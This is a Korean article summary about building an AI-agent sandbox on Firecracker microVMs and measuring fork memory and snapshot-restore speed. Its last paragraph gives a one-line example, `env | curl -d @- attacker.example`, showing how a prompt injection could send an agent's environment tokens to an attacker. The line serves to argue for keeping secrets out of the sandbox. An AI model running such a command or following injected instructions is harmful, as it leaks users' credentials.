구글은 설계만 공개했는데, 나는 Firecracker로 에이전트 샌드박스를 직접 만들어 측정했다
Google Described Its Agent Sandbox. I Built One with Firecracker and Measured It
구글이 공개한 Agent Compute Engine은 세션마다 마이크로VM을 주고, 모델이 생각하는 동안 체크포인트하며, 네트워크 카드조차 주지 않는 구조다. 다만 아직 쓸 수 없고 지연·밀도 수치도 없어서, 같은 패턴을 Go 약 2,200줄로 Firecracker 위에 구현해 두 대의 머신에서 측정했다. 512MiB VM의 유휴 포크 64개가 각각 약 3MiB만 차지했고, 베어메탈에서 스냅샷 복원은 25ms로 콜드 부팅보다 26배 빨랐다. 반면 Mac mini의 중첩 가상화에서는 포크 12개가 동시에 시작되자 하나도 준비되지 않았고, 저자는 그 실패에서 가장 많이 배웠다고 말한다.
에이전트가 GitHub나 패키지 레지스트리와 통신하려면 토큰이 필요한데, 그 토큰이 샌드박스 안의 환경 변수에 있다면 프롬프트 인젝션은 `env | curl -d @- attacker.example` 한 줄이면 충분하고, 하드웨어 격리는 그것에 아무것도 해주지 못한다.